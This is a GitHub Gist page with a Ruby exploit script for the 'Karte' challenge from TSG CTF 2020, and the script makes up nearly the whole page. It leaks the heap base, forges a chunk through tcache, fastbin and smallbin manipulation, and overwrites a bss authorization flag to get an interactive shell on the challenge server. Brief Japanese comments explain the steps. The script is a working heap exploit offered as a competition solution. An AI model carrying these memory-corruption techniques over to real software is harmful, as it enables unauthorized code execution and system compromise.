-
-
Save Charo-IT/5dfce0e2930487fdbec0990388101332 to your computer and use it in GitHub Desktop.
TSG CTF 2020 - Karte
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding:ascii-8bit | |
require "pwnlib" # https://github.com/Charo-IT/pwnlib | |
class PwnTube | |
def recv_until_prompt | |
recv_until("> ") | |
end | |
end | |
class Exploit | |
attr_reader :tube, :host, :port | |
attr_reader :offset, :got, :libc_offset | |
def initialize(remote) | |
@remote = remote | |
if remote? | |
@host, @port = "35.221.81.216 30005".split | |
else | |
@host = "localhost" | |
@port = 11111 | |
end | |
@port = @port&.to_i | |
@libc_offset = { | |
} | |
@offset = { | |
"authorized" => 0x404180 | |
} | |
@got = { | |
} | |
end | |
def remote? | |
@remote | |
end | |
def allocate(id, size) | |
tube.recv_until_prompt | |
tube.sendline("0") | |
tube.recv_until_prompt | |
tube.sendline("#{id}") | |
tube.recv_until_prompt | |
tube.sendline("#{size}") | |
end | |
def extend(id, size) | |
tube.recv_until_prompt | |
tube.sendline("1") | |
tube.recv_until_prompt | |
tube.sendline("#{id}") | |
tube.recv_until_prompt | |
tube.sendline("#{size}") | |
end | |
def change_id(old_id, new_id) | |
tube.recv_until_prompt | |
tube.sendline("2") | |
tube.recv_until_prompt | |
tube.sendline("#{old_id}") | |
tube.recv_until_prompt | |
tube.sendline("#{new_id}") | |
end | |
def show(id) | |
tube.recv_until_prompt | |
tube.sendline("3") | |
tube.recv_until_prompt | |
tube.sendline("#{id}") | |
end | |
def deallocate(id) | |
tube.recv_until_prompt | |
tube.sendline("4") | |
tube.recv_until_prompt | |
tube.sendline("#{id}") | |
end | |
def launch_shell | |
tube.recv_until_prompt | |
tube.sendline("5") | |
end | |
def run | |
PwnTube.open(host, port){|t| | |
@tube = t | |
tube.recv_until_prompt | |
tube.send("A" * 0x1f) | |
puts "[*] leak heap base" | |
# fill tcache | |
10.times{|i| | |
allocate(i, 0x60) | |
} | |
9.downto(0){|i| | |
deallocate(i) | |
} | |
show(0) | |
heap_base = tube.recv_capture(/size: ([0-9a-f]+)\n/)[0].to_i(16) - 0x300 | |
puts "heap base = 0x%x" % heap_base | |
puts "[*] create fake chunk" | |
5.times{|i| | |
allocate(10 + i, 0x60) | |
} | |
deallocate(0) # 既にfastbinsに入っているチャンクを再度freeしてtcacheに入れ、fdをずらす | |
allocate(16, 0x50) | |
allocate(17, 0x50) | |
change_id(heap_base + 0x10, 0x1337) | |
change_id(heap_base + 0x10, 0x501) # fake chunksize | |
extend(16, 0x60) # reallocはtcacheを使わないのでfastbinsからチャンクが取られ、ついでにtcacheを埋める処理でfake chunkがtcacheに入れられる | |
5.times{|i| | |
allocate(18 + i, 0xa0) | |
} | |
allocate(24, 0x60) # fake chunk | |
# tcacheを埋め、何個かfastbinに入れる | |
[1, 2, 10, 11, 12, 14, 16].each{|i| | |
deallocate(i) | |
} | |
deallocate(24) # fake chunkをfreeしてmalloc_consolidateを起こす | |
allocate(25, 0x70) # unsorted_binsのチャンクをsmallbinsに移す | |
allocate(26, 0x60) # tcacheに空きを1つ作る | |
change_id(heap_base + 0x4c0, offset["authorized"] - 16) # smallbinのbkをbssに向ける | |
extend(17, 0x60) # tcacheを使わずにmallocさせるとbssが書き換わる | |
launch_shell | |
tube.interactive | |
} | |
end | |
end | |
Exploit.new(ARGV[0] == "r").run |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment